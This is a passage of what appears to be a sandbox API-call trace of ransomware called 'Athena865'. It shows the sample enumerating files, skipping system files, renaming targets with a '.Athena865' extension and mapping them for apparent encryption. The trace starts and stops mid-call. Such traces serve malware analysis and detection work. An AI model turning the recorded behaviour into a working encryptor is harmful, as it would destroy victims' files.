lstrcmpiW (lpString1="kLink", lpString2="accdc") returned 1 [0054.018] lstrlenW (lpString="accde") returned 5 [0054.018] lstrcmpiW (lpString1="kLink", lpString2="accde") returned 1 [0054.018] lstrlenW (lpString="accdr") returned 5 [0054.018] lstrcmpiW (lpString1="kLink", lpString2="accdr") returned 1 [0054.018] lstrlenW (lpString="accdt") returned 5 [0054.018] lstrcmpiW (lpString1="kLink", lpString2="accdt") returned 1 [0054.018] lstrlenW (lpString="accdw") returned 5 [0054.018] lstrcmpiW (lpString1="kLink", lpString2="accdw") returned 1 [0054.018] lstrlenW (lpString="accft") returned 5 [0054.018] lstrcmpiW (lpString1="kLink", lpString2="accft") returned 1 [0054.018] lstrlenW (lpString="adb") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="adb") returned 1 [0054.018] lstrlenW (lpString="adb") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="adb") returned 1 [0054.018] lstrlenW (lpString="ade") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="ade") returned 1 [0054.018] lstrlenW (lpString="adf") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="adf") returned 1 [0054.018] lstrlenW (lpString="adn") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="adn") returned 1 [0054.018] lstrlenW (lpString="adp") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="adp") returned 1 [0054.018] lstrlenW (lpString="alf") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="alf") returned 1 [0054.018] lstrlenW (lpString="ask") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="ask") returned 1 [0054.018] lstrlenW (lpString="btr") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="btr") returned 1 [0054.018] lstrlenW (lpString="cat") returned 3 [0054.018] lstrcmpiW (lpString1="ink", lpString2="cat") returned 1 [0054.018] lstrlenW (lpString="cdb") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="cdb") returned 1 [0054.019] lstrlenW (lpString="ckp") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="ckp") returned 1 [0054.019] lstrlenW (lpString="cma") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="cma") returned 1 [0054.019] lstrlenW (lpString="cpd") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="cpd") returned 1 [0054.019] lstrlenW (lpString="dacpac") returned 6 [0054.019] lstrcmpiW (lpString1="skLink", lpString2="dacpac") returned 1 [0054.019] lstrlenW (lpString="dad") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dad") returned 1 [0054.019] lstrlenW (lpString="dadiagrams") returned 10 [0054.019] lstrcmpiW (lpString1=").DeskLink", lpString2="dadiagrams") returned -1 [0054.019] lstrlenW (lpString="daschema") returned 8 [0054.019] lstrcmpiW (lpString1="DeskLink", lpString2="daschema") returned 1 [0054.019] lstrlenW (lpString="db-journal") returned 10 [0054.019] lstrcmpiW (lpString1=").DeskLink", lpString2="db-journal") returned -1 [0054.019] lstrlenW (lpString="db-shm") returned 6 [0054.019] lstrcmpiW (lpString1="skLink", lpString2="db-shm") returned 1 [0054.019] lstrlenW (lpString="db-wal") returned 6 [0054.019] lstrcmpiW (lpString1="skLink", lpString2="db-wal") returned 1 [0054.019] lstrlenW (lpString="dbc") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dbc") returned 1 [0054.019] lstrlenW (lpString="dbs") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dbs") returned 1 [0054.019] lstrlenW (lpString="dbt") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dbt") returned 1 [0054.019] lstrlenW (lpString="dbv") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dbv") returned 1 [0054.019] lstrlenW (lpString="dbx") returned 3 [0054.019] lstrcmpiW (lpString1="ink", lpString2="dbx") returned 1 [0054.019] lstrlenW (lpString="dcb") returned 3 [0054.020] lstrcmpiW (lpString1="ink", lpString2="dcb") returned 1 [0054.020] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Desktop (create shortcut).DeskLink.Athena865") returned 85 [0054.020] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\documents and settings\\default\\sendto\\desktop (create shortcut).desklink"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop (create shortcut).DeskLink.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\desktop (create shortcut).desklink.athena865"), dwFlags=0x1) returned 1 [0054.020] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop (create shortcut).DeskLink.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\desktop (create shortcut).desklink.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.021] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7) returned 1 [0054.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.021] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.022] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.022] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.022] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x17c [0054.024] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000 [0054.025] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.025] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.025] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.026] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.026] CloseHandle (hObject=0x17c) returned 1 [0054.026] CloseHandle (hObject=0x154) returned 1 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.027] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xec18bec6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d828fa3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="windows") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="temp") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="pagefile.sys") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot") returned 1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="ids.txt") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="ntuser.dat") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="perflogs") returned -1 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2="MSBuild") returned -1 [0054.027] lstrlenW (lpString="Desktop.ini") returned 11 [0054.027] lstrcpyW (in: lpString1=0x241e89a, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini" [0054.027] lstrlenW (lpString="Desktop.ini") returned 11 [0054.027] lstrlenW (lpString="Athena865") returned 9 [0054.027] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0054.027] lstrlenW (lpString=".dll") returned 4 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1 [0054.027] lstrlenW (lpString=".lnk") returned 4 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1 [0054.027] lstrlenW (lpString=".ini") returned 4 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1 [0054.027] lstrlenW (lpString=".sys") returned 4 [0054.027] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1 [0054.027] lstrlenW (lpString="Desktop.ini") returned 11 [0054.027] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Desktop.ini.Athena865") returned 62 [0054.027] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop.ini" (normalized: "c:\\documents and settings\\default\\sendto\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.029] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.029] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=558) returned 1 [0054.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.029] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.030] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.030] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.030] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x17c [0054.033] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000 [0054.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.034] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.034] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.035] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.035] CloseHandle (hObject=0x17c) returned 1 [0054.035] CloseHandle (hObject=0x154) returned 1 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.036] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63dece0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents.mydocs", cAlternateFileName="DOCUME~1.MYD")) returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".") returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="..") returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="windows") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="bootmgr") returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="temp") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="pagefile.sys") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="boot") returned 1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="ids.txt") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="ntuser.dat") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="perflogs") returned -1 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2="MSBuild") returned -1 [0054.036] lstrlenW (lpString="Documents.mydocs") returned 16 [0054.036] lstrcpyW (in: lpString1=0x241e89a, lpString2="Documents.mydocs" | out: lpString1="Documents.mydocs") returned="Documents.mydocs" [0054.036] lstrlenW (lpString="Documents.mydocs") returned 16 [0054.036] lstrlenW (lpString="Athena865") returned 9 [0054.036] lstrcmpiW (lpString1="ts.mydocs", lpString2="Athena865") returned 1 [0054.036] lstrlenW (lpString=".dll") returned 4 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".dll") returned 1 [0054.036] lstrlenW (lpString=".lnk") returned 4 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".lnk") returned 1 [0054.036] lstrlenW (lpString=".ini") returned 4 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".ini") returned 1 [0054.036] lstrlenW (lpString=".sys") returned 4 [0054.036] lstrcmpiW (lpString1="Documents.mydocs", lpString2=".sys") returned 1 [0054.036] lstrlenW (lpString="Documents.mydocs") returned 16 [0054.037] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs.Athena865") returned 67 [0054.037] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs" (normalized: "c:\\documents and settings\\default\\sendto\\documents.mydocs"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\documents.mydocs.athena865"), dwFlags=0x1) returned 1 [0054.037] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\documents.mydocs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.037] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=0) returned 1 [0054.037] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\documents.mydocs.athena865"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Documents.mydocs" (normalized: "c:\\documents and settings\\default\\sendto\\documents.mydocs"), dwFlags=0x1) returned 0 [0054.038] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0054.038] CloseHandle (hObject=0x0) returned 0 [0054.038] CloseHandle (hObject=0x154) returned 1 [0054.038] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d802e42, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d802e42, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fax Recipient.lnk", cAlternateFileName="FAXREC~1.LNK")) returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".") returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="..") returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="windows") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="bootmgr") returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="temp") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="pagefile.sys") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="boot") returned 1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="ids.txt") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="ntuser.dat") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="perflogs") returned -1 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2="MSBuild") returned -1 [0054.038] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0054.038] lstrcpyW (in: lpString1=0x241e89a, lpString2="Fax Recipient.lnk" | out: lpString1="Fax Recipient.lnk") returned="Fax Recipient.lnk" [0054.038] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0054.038] lstrlenW (lpString="Athena865") returned 9 [0054.038] lstrcmpiW (lpString1="pient.lnk", lpString2="Athena865") returned 1 [0054.038] lstrlenW (lpString=".dll") returned 4 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".dll") returned 1 [0054.038] lstrlenW (lpString=".lnk") returned 4 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".lnk") returned 1 [0054.038] lstrlenW (lpString=".ini") returned 4 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".ini") returned 1 [0054.038] lstrlenW (lpString=".sys") returned 4 [0054.038] lstrcmpiW (lpString1="Fax Recipient.lnk", lpString2=".sys") returned 1 [0054.038] lstrlenW (lpString="Fax Recipient.lnk") returned 17 [0054.039] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\SendTo\\Fax Recipient.lnk.Athena865") returned 68 [0054.039] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\documents and settings\\default\\sendto\\fax recipient.lnk"), lpNewFileName="C:\\Documents and Settings\\Default\\SendTo\\Fax Recipient.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\fax recipient.lnk.athena865"), dwFlags=0x1) returned 1 [0054.040] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\SendTo\\Fax Recipient.lnk.Athena865" (normalized: "c:\\documents and settings\\default\\sendto\\fax recipient.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0054.040] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1238) returned 1 [0054.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0054.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0054.040] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0054.041] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.041] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.041] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x17c [0054.043] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0054.044] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0054.045] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.045] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0054.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0054.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0054.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0054.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.045] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.045] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.045] CloseHandle (hObject=0x17c) returned 1 [0054.045] CloseHandle (hObject=0x154) returned 1 [0054.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0054.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0054.046] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.046] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.046] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.046] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c48085e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3bb9ed75, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mail Recipient.MAPIMail", cAlternateFileName="MAILRE~1.MAP")) returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2=".") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="..") returned 1 [0054.046] lstrcmpiW (lpString1="Mail Recipient.MAPIMail", lpString2="windows") returned -1 [0054.046] lstrcmpiW 